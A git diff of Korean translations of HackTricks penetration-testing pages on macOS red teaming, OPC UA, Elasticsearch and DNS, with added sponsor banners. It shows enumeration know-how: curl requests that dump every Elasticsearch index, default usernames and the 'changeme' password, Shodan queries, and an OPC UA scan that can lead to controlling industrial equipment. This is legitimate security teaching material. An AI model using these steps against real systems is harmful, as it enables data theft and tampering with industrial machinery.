MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 일반적으로 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있습니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
|
||||
|
||||
## 기타 레드 팀 기술
|
||||
|
||||
### Safari
|
||||
|
||||
Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드하면**, 자동으로 압축이 해제됩니다:
|
||||
Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드하면** 자동으로 압축이 해제됩니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 참고자료
|
||||
## 참고 문헌
|
||||
|
||||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
|
@ -247,16 +255,24 @@ Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동
|
|||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,11 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**OPC UA**는 **Open Platform Communications Unified Access**의 약자로, 제조, 에너지, 항공 우주 및 방위와 같은 다양한 산업에서 데이터 교환 및 장비 제어를 위해 사용되는 중요한 오픈 소스 프로토콜입니다. 이 프로토콜은 특히 PLC와 함께 다양한 공급업체의 장비가 통신할 수 있도록 독특하게 설계되었습니다.
|
||||
|
||||
구성은 강력한 보안 조치를 허용하지만, 종종 구형 장치와의 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출될 수 있습니다. 또한, 네트워크 스캐너가 비표준 포트에 있을 경우 OPC UA 서비스를 감지하지 못할 수 있어 찾기가 어려울 수 있습니다.
|
||||
구성은 강력한 보안 조치를 허용하지만, 종종 구형 장치와의 호환성을 위해 이러한 조치가 약화되어 시스템이 위험에 노출됩니다. 또한, 네트워크 스캐너가 비표준 포트에 있을 경우 OPC UA 서비스를 감지하지 못할 수 있어 찾기가 어려울 수 있습니다.
|
||||
|
||||
**기본 포트:** 4840
|
||||
```text
|
||||
|
@ -34,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
```
|
||||
### 취약점 악용
|
||||
|
||||
인증 우회 취약점이 발견되면, [OPC UA 클라이언트](https://www.prosysopc.com/products/opc-ua-browser/)를 적절히 구성하고 접근할 수 있는 내용을 확인할 수 있습니다. 이는 단순히 프로세스 값을 읽는 것부터 실제로 중장비 산업 장비를 조작하는 것까지 가능하게 할 수 있습니다.
|
||||
인증 우회 취약점이 발견되면, [OPC UA 클라이언트](https://www.prosysopc.com/products/opc-ua-browser/)를 적절히 구성하여 접근할 수 있는 내용을 확인할 수 있습니다. 이는 단순히 프로세스 값을 읽는 것부터 실제로 중장비 산업 장비를 조작하는 것까지 가능하게 할 수 있습니다.
|
||||
|
||||
접근할 수 있는 장치에 대한 단서를 얻으려면, 주소 공간에서 "ServerStatus" 노드 값을 읽고 사용 설명서를 구글링하세요.
|
||||
|
||||
|
@ -42,21 +50,29 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
* `port:4840`
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -34,7 +36,9 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -48,7 +52,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic information
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하며, 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
### What is an Elasticsearch index?
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
Elasticsearch **인덱스**는 **관련 문서**의 모음으로 **JSON** 형식으로 저장됩니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하며, 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK 스택이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 보유하고 있습니다.
|
||||
|
||||
### Elasticsearch 인덱스란 무엇인가요?
|
||||
|
||||
Elasticsearch **인덱스**는 **JSON** 형식으로 저장된 **관련 문서**의 모음입니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
|
||||
|
||||
Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **역 인덱스**라는 효율적인 데이터 구조를 사용합니다. 이 인덱스는 문서 내의 모든 고유 단어를 나열하고 각 단어가 나타나는 문서를 식별합니다.
|
||||
|
||||
|
@ -29,9 +37,9 @@ Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **
|
|||
|
||||
**기본 포트**: 9200/tcp
|
||||
|
||||
## Manual Enumeration
|
||||
## 수동 열거
|
||||
|
||||
### Banner
|
||||
### 배너
|
||||
|
||||
Elasticsearch에 접근하는 데 사용되는 프로토콜은 **HTTP**입니다. HTTP를 통해 접근하면 흥미로운 정보를 찾을 수 있습니다: `http://10.10.10.115:9200/`
|
||||
|
||||
|
@ -39,7 +47,7 @@ Elasticsearch에 접근하는 데 사용되는 프로토콜은 **HTTP**입니다
|
|||
|
||||
`/`에 접근할 때 해당 응답이 보이지 않으면 다음 섹션을 참조하세요.
|
||||
|
||||
### Authentication
|
||||
### 인증
|
||||
|
||||
**기본적으로 Elasticsearch는 인증이 활성화되어 있지 않습니다**, 따라서 기본적으로 자격 증명 없이 데이터베이스 내의 모든 것에 접근할 수 있습니다.
|
||||
|
||||
|
@ -52,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
그것은 인증이 구성되어 있으며 **유효한 자격 증명이 필요**하다는 것을 의미합니다. 그런 다음, [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
|
||||
그것은 인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 것을 의미합니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
|
||||
여기 **기본 사용자 이름 목록**이 있습니다: _**elastic** (슈퍼유저), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ 이전 버전의 Elasticsearch는 이 사용자에 대해 기본 비밀번호 **changeme**를 가지고 있습니다.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
|
@ -106,49 +114,49 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
|||
|
||||
### Indices
|
||||
|
||||
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스**를 **수집할 수** 있습니다.
|
||||
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스를 수집할 수 있습니다**.
|
||||
```
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
|
||||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||
```
|
||||
To obtain **정보를 얻으려면 어떤 종류의 데이터가 인덱스에 저장되어 있는지** `http://host:9200/<index>`에 접근할 수 있습니다. 이 경우 `http://10.10.10.115:9200/bank`
|
||||
To obtain **information about which kind of data is saved inside an index** you can access: `http://host:9200/<index>` from example in this case `http://10.10.10.115:9200/bank`
|
||||
|
||||
![](<../.gitbook/assets/image (342).png>)
|
||||
|
||||
### 덤프 인덱스
|
||||
### Dump index
|
||||
|
||||
모든 **내용을 덤프하려면** 인덱스의 모든 내용을 덤프하려면 `http://host:9200/<index>/_search?pretty=true`에 접근할 수 있습니다. 예를 들어 `http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
If you want to **dump all the contents** of an index you can access: `http://host:9200/<index>/_search?pretty=true` like `http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
|
||||
![](<../.gitbook/assets/image (914).png>)
|
||||
|
||||
_은행 인덱스 내 각 문서(항목)의 내용을 비교하고 이전 섹션에서 본 이 인덱스의 필드를 확인해 보세요._
|
||||
_잠시 시간을 내어 은행 인덱스 내 각 문서(항목)의 내용과 이전 섹션에서 본 이 인덱스의 필드를 비교해 보세요._
|
||||
|
||||
따라서 이 시점에서 **"hits" 내에 "total"이라는 필드가 있어** 이 인덱스 내에서 **1000개의 문서가 발견되었지만** 10개만 검색되었다는 것을 알 수 있습니다. 이는 **기본적으로 10개의 문서에 제한이 있기 때문입니다.**\
|
||||
하지만 이제 **이 인덱스에 1000개의 문서가 포함되어 있다는 것을 알았으므로**, **모두 덤프할 수 있습니다.** 원하는 항목 수를 **`size`** 매개변수에 지정하여 덤프할 수 있습니다: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
So, at this point you may notice that **there is a field called "total" inside "hits"** that indicates that **1000 documents were found** inside this index but only 10 were retried. This is because **by default there is a limit of 10 documents**.\
|
||||
But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
_참고: 더 큰 숫자를 지정하면 모든 항목이 어쨌든 덤프됩니다. 예를 들어 `size=9999`를 지정할 수 있으며, 더 많은 항목이 있을 경우 이상할 것입니다(하지만 확인해야 합니다)._
|
||||
|
||||
### 모두 덤프
|
||||
### Dump all
|
||||
|
||||
모두 덤프하려면 **이전과 동일한 경로로 가되 인덱스를 지정하지 않고** `http://host:9200/_search?pretty=true`에 접근하면 됩니다. 예를 들어 `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
이 경우 **기본 10개의 결과 제한**이 적용됩니다. `size` 매개변수를 사용하여 **더 많은 결과를 덤프할 수 있습니다.** 더 많은 정보는 이전 섹션을 참조하세요.
|
||||
In order to dump all you can just go to the **same path as before but without indicating any index**`http://host:9200/_search?pretty=true` like `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Remember that in this case the **default limit of 10** results will be applied. You can use the `size` parameter to dump a **bigger amount of results**. Read the previous section for more information.
|
||||
|
||||
### 검색
|
||||
### Search
|
||||
|
||||
정보를 찾고 있다면 **모든 인덱스에서 원시 검색을 수행할 수 있습니다.** `http://host:9200/_search?pretty=true&q=<search_term>`에 접근하면 됩니다. 예를 들어 `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
If you are looking for some information you can do a **raw search on all the indices** going to `http://host:9200/_search?pretty=true&q=<search_term>` like in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
|
||||
![](<../.gitbook/assets/image (335).png>)
|
||||
|
||||
인덱스에서만 **검색하려면** **경로**에 인덱스를 **지정**하면 됩니다: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
If you want just to **search on an index** you can just **specify** it on the **path**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_검색 콘텐츠에 사용되는 q 매개변수는 **정규 표현식**을 지원합니다._
|
||||
|
||||
Elasticsearch 서비스를 퍼징하기 위해 [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)와 같은 것을 사용할 수도 있습니다.
|
||||
You can also use something like [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) to fuzz an elasticsearch service.
|
||||
|
||||
### 쓰기 권한
|
||||
### Write permissions
|
||||
|
||||
새 인덱스 내에 새 문서를 생성하려고 시도하여 쓰기 권한을 확인할 수 있습니다. 다음과 같은 명령을 실행해 보세요:
|
||||
You can check your write permissions trying to create a new document inside a new index running something like the following:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
|
@ -180,6 +188,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
* `port:9200 elasticsearch`
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -190,7 +206,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -39,13 +41,13 @@ PORT STATE SERVICE REASON
|
|||
* **비권한 있는 네임서버**: DNS 영역에 대한 소유권이 없는 이 서버들은 다른 서버에 대한 쿼리를 통해 도메인 정보를 수집합니다.
|
||||
* **캐싱 DNS 서버**: 이 유형의 서버는 이전 쿼리 답변을 일정 시간 동안 기억하여 향후 요청에 대한 응답 시간을 단축시키며, 캐시 기간은 권한 있는 서버에 의해 결정됩니다.
|
||||
* **포워딩 서버**: 간단한 역할을 수행하는 포워딩 서버는 쿼리를 다른 서버로 전달합니다.
|
||||
* **해결기**: 컴퓨터나 라우터에 통합되어 있는 해결기는 로컬에서 이름 해석을 수행하며 권한 있는 것으로 간주되지 않습니다.
|
||||
* **리졸버**: 컴퓨터나 라우터에 통합되어 있는 리졸버는 로컬에서 이름 해석을 수행하며 권한 있는 것으로 간주되지 않습니다.
|
||||
|
||||
## 열거
|
||||
|
||||
### **배너 그랩핑**
|
||||
|
||||
DNS에는 배너가 없지만 `version.bind. CHAOS TXT`에 대한 매직 쿼리를 그랩할 수 있으며, 이는 대부분의 BIND 네임서버에서 작동합니다.\
|
||||
DNS에는 배너가 없지만 `version.bind. CHAOS TXT`에 대한 매직 쿼리를 가져올 수 있으며, 이는 대부분의 BIND 네임서버에서 작동합니다.\
|
||||
이 쿼리는 `dig`를 사용하여 수행할 수 있습니다:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
|
